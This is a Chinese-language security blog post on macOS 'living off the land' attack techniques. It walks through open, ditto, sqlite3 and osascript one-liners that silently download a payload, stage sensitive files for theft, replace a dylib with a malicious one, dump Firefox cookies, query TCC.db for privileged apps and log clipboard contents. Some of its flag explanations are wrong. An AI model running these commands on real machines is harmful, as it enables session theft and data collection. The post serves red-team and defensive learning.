MacOS 离地攻击分析

2024-06-06 403 0

引言

macOS中,"离地攻击"(Offensive Security)是指攻击者利用操作系统的漏洞或弱点,以提升其权限或在系统中执行恶意操作的一种行为。这可能包括利用系统或应用程序的安全漏洞、弱密码、社会工程学等手段来实施攻击。

open

在 macOS 中,open命令是一个非常有用的命令行工具,用于在终端中打开文件、文件夹、应用程序或 URL。它可以以默认应用程序或用户指定的应用程序打开指定的文件或目录,也可以可以帮助用户快速在命令行中执行各种文件和网页的操作。

参考实际使用时命令:

语法:open [选项] [文件/应用程序/URL]

open -g https://xxxxxx/payload.zip; sleep 3; killall Safari
open 命令会在前台显示,但是使用 -g 选项可以使其在后台运行,不会激活或切换到打开的文件或应用程序的窗口。下载 payload.zip 文件后在后台运行,然后终端等待 3 秒,最后使用 killall Safari 命令结束所有正在运行的 Safari 浏览器进程。

ditto

ditto是 macOS 和类 Unix 系统中的一个命令行工具,主要用于复制文件和目录。它提供了比标准cp命令更丰富的功能,并且在处理目录结构和特殊文件时更加灵活。

cp命令不同,ditto不仅可以复制文件的内容,还可以复制资源 fork、资源文件以及文件权限等信息。它还可以在复制过程中执行压缩、解压缩操作,以便更有效地复制文件。

参考实际使用时命令:

语法:ditto [选项] 源路径 目标路径

在本地复制并压缩文件:

ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip

逐一解释选项的含义:

  • -c: 表示创建一个新的压缩文件。

  • -k: 表示保留原始文件,即在复制完成后保留/home/user/sensitive-files目录及其内容。

  • --sequesterRsrc: 表示在复制过程中将资源 fork 分离出来,这在 macOS 系统中的文件复制中很重要,因为一些文件可能会有资源 fork。

  • --keepParent: 表示在复制过程中保留父目录的结构。

因此,这个命令将会把/home/user/sensitive-files目录及其内容压缩成一个叫做/tmp/l00t.zip的文件,同时保留原始文件和目录的结构,并且处理了可能存在的资源 fork。

从文件中删除扩展属性:

ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null

第一个命令:

将一个名为unsigned.app的应用程序复制到一个名为app.zip的压缩文件中,并且保留了原始的unsigned.app应用程序。然后,它将app.zip解压缩,并将解压缩后的文件重新放置到unsigned.app目录中。

  • ditto -c -k unsigned.app app.zip: 将unsigned.app应用程序压缩成一个名为app.zip的压缩文件,并且保留了原始的unsigned.app应用程序。-c表示创建一个新的压缩文件,-k表示保留原始文件。

第二个命令:

2>/dev/null是一个重定向,将标准错误流重定向到/dev/null,这样可以隐藏任何可能的错误信息,只显示成功执行的信息。

  • ditto -x -k app.zip unsigned.app 2>/dev/null: 解压缩app.zip压缩文件,并将解压缩后的文件重新放置到unsigned.app目录中。-x表示解压缩,-k表示保留原始文件。

DLL攻击:

ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib

逐一解释这个命令:

  • -V: 这是一个选项,它可能表示“详细”(Verbose)模式,会输出详细的执行信息。

  • /path/to/malicious-library/malicious_library.dylib: 这是源文件,即要被复制的恶意库文件的路径。

  • /path/to/target-library/original_library.dylib: 这是目标文件,即复制操作的目标文件路径,这可能是原始的库文件路径,即要被替换的文件路径。

因此,这个命令是将名为malicious_library.dylib的恶意动态链接库(Dynamic Link Library,简称为 dylib)复制到名为original_library.dylib的目标库文件中。

sqlite3

sqlite3命令是 SQLite 数据库管理系统的一个命令行工具。SQLite 是一个轻量级的、自包含的、基于文件的数据库引擎,它允许用户在单个磁盘文件中创建一个完整的、可访问的、无服务器的 SQL 数据库。

sqlite3命令允许用户直接在命令行界面中与 SQLite 数据库进行交互,执行各种数据库操作,例如创建、查询、修改和删除表格和数据。通过sqlite3命令,用户可以快速、方便地执行数据库操作,而无需使用图形用户界面或编写完整的应用程序。攻击者可以利用此工具发现敏感数据。

参考实际使用时命令:

语法:sqlite3 [选项] [数据库文件路径]

获取具有完整磁盘访问权限的应用程序:

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
'select client from access where auth_value and service = "kTCCServiceSystemPolicyAllFiles"'

这个命令的作用是查询 macOS 的访问控制数据库(TCC.db)中,授予了所有文件访问权限的客户端列表,从而了解哪些应用程序或进程具有这个权限。

逐一解释这个命令:

  • /Library/Application\ Support/com.apple.TCC/TCC.db: 这是 macOS 的访问控制数据库文件的路径。TCC(Transparency, Consent, and Control)是 macOS 中用于管理隐私权限的系统。

  • 'select client from access where auth_value and service = "kTCCServiceSystemPolicyAllFiles"': 这是一个 SQL 查询语句,它查询了名为access的表格中,具有特定条件的记录。具体来说,它查询了授予了所有文件访问权限(kTCCServiceSystemPolicyAllFiles)的客户端(client)列表。这些客户端通常是应用程序或进程的标识符,它们被授权访问所有文件。

获取 Firefox cookie 数据:

killall firefox; find ~/Library/Application\ Support/Firefox/Profiles/. | grep cookies.sqlite | xargs -I {} sqlite3 {} "select * from moz_cookies"

这个命令的目的是杀死所有正在运行的 Firefox 进程,然后在当前用户的 Firefox 配置文件目录下查找名为cookies.sqlite的文件,并对每个找到的文件执行一个 SQL 查询,查询其中存储的所有 cookie 信息。并将其输出到终端上。

让我们逐步解释这个命令:

  • killall firefox: 这个命令会终止所有名为firefox的进程,即关闭所有正在运行的 Firefox 实例。

  • find ~/Library/Application\ Support/Firefox/Profiles/. | grep cookies.sqlite: 这个部分首先在用户的 Firefox 配置文件目录下查找文件名包含cookies.sqlite的文件。find命令用于查找文件,~/Library/Application\ Support/Firefox/Profiles/.是 Firefox 配置文件目录的路径,grep cookies.sqlite是一个过滤器,用于筛选出包含cookies.sqlite的文件路径。

  • xargs -I {} sqlite3 {} "select * from moz_cookies": 对于每个找到的cookies.sqlite文件路径,xargs命令将其作为参数传递给sqlite3命令,并对其执行 SQL 查询。-I {}指定了占位符,{}将被每个文件路径替换,然后sqlite3命令会打开该文件并执行查询语句"select * from moz_cookies",以获取其中存储的所有 cookie 信息。

查看与文件下载关联的 URL

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent'

这个命令的目的是使用sqlite3命令查询 macOS 中的 Launch Services (启动服务)的隔离事件(Quarantine Events)数据库,以获取其中存储的所有应用程序下载的文件的下载来源 URL。这些来源 URL 通常包含了关于文件下载的信息,如来源网址、下载时间等。

逐一解释这个命令:

  • ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV*: 这是一个匹配 Launch Services 隔离事件数据库文件的通配符路径。在 macOS 中,这些数据库文件通常存储在用户的 Preferences 目录下,文件名以com.apple.LaunchServices.QuarantineEventsV开头,后面跟有版本号。

  • 'select LSQuarantineDataURLString from LSQuarantineEvent': 这是一个 SQL 查询语句,它查询了名为LSQuarantineEvent的表格中,LSQuarantineDataURLString列的所有值。这一列存储了应用程序下载文件的来源 URL。

osascript

osascript是 macOS 中用于执行 AppleScript 脚本和 JavaScript for Automation(JXA)脚本的命令行工具。这个命令允许用户在终端中执行脚本,从而实现对系统的各种自动化和控制。

AppleScript 是一种脚本语言,专门用于在 macOS 和其他苹果操作系统上进行自动化。它可以让用户编写脚本来控制应用程序、执行文件操作、发送系统通知等等。通过osascript命令,可以在终端中执行这些 AppleScript 脚本。

此外,osascript还支持 JavaScript for Automation(JXA),这是使用 JavaScript 编写的一种自动化脚本语言,用于与 macOS 系统进行交互。通过osascript命令,用户也可以执行这些 JXA 脚本。

参考实际使用时命令:

语法:osascript [选项] [脚本文件]

使用 osascript 二进制文件收集敏感的剪贴板数据

while true; do echo $(osascript -e 'return (the clipboard)') >> clipdata.txt; sleep 10; done

在一个无限循环中,每隔 10 秒钟检查一次系统剪贴板的内容,并将其追加到一个名为clipdata.txt的文本文件中。这个命令通常用于监视剪贴板的变化,记录剪贴板历史或跟踪剪贴板内容的变化。

逐一解释这个命令:

  • while true; do: 这是一个无限循环的开始部分,true表示条件永远为真,因此循环会一直执行。

  • osascript -e 'return (the clipboard)': 这个部分调用osascript命令,并执行一个 AppleScript 语句,即获取当前剪贴板的内容。-e选项用于指定要执行的脚本,这里使用了return (the clipboard)来获取剪贴板的内容。

  • echo $(...): 这个部分使用命令替换,将osascript命令的输出作为参数传递给echo命令。

  • >> clipdata.txt: 这个部分将echo命令的输出追加到名为clipdata.txt的文本文件中。

  • sleep 10;: 这个部分让循环每次迭代之间暂停 10 秒钟。

使用 osascript 二进制文件执行 JXA(自动化 JavaScript)文件。

JXA 经常被红队(以及潜在的攻击者)用作 macOS 有效负载,因为 JXA 是 macOS 原生的,可以访问各种内部 macOS API(例如 Cocoa、Foundation、OSAKit 等)。只需运行“osascript [file.js]”即可使用 osascript 二进制文件来执行 JXA 有效负载,但某些恶意软件或攻击性工具也可能使用“osascript -l JavaScript [file.js]”。

echo "ObjC.import('Cocoa');\nObjC.import('stdlib');\nvar currentApp = Application.currentApplication();\ncurrentApp.includeStandardAdditions = true;\ncurrentApp.doShellScript('open -a Calculator.app');" > calc.js && osascript -l JavaScript calc.js

逐一解释这个命令:

  • echo "ObjC.import('Cocoa');\nObjC.import('stdlib');\nvar currentApp = Application.currentApplication();\ncurrentApp.includeStandardAdditions = true;\ncurrentApp.doShellScript('open -a Calculator.app');" > calc.js: 这部分命令使用echo命令来创建一个名为calc.js的 JavaScript 文件,并向其中写入一段 JXA 脚本代码。这段代码使用了 macOS 的 JavaScript for Automation 功能,其中使用了 Cocoa 框架和标准库,以及doShellScript方法来打开计算器应用程序。这样,JavaScript 脚本将在 macOS 上执行并打开计算器应用程序。

  • osascript -l JavaScript calc.js: 这部分命令使用osascript命令来执行calc.js文件中的 JavaScript 代码。-l JavaScript选项用于指定要执行的脚本语言类型为 JavaScript,然后指定了要执行的 JavaScript 文件为calc.js

总结

在本文中,我们深入探讨了在 macOS 系统中进行离地攻击分析的关键命令和技术。通过介绍opendittosqlite3osascript等命令的用法和实际案例,我们展示了这些命令如何被攻击者利用来执行恶意操作。通过详细的语法说明和实例展示,读者可以了解这些命令在实际攻击中的应用场景和风险。我们还提及了一些真实案例和参考链接,以帮助读者更深入地了解 macOS 离地攻击的威胁和防御策略。我们才能确保系统的安全性和可靠性,防止潜在的恶意行为对系统造成损害。

参考链接


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论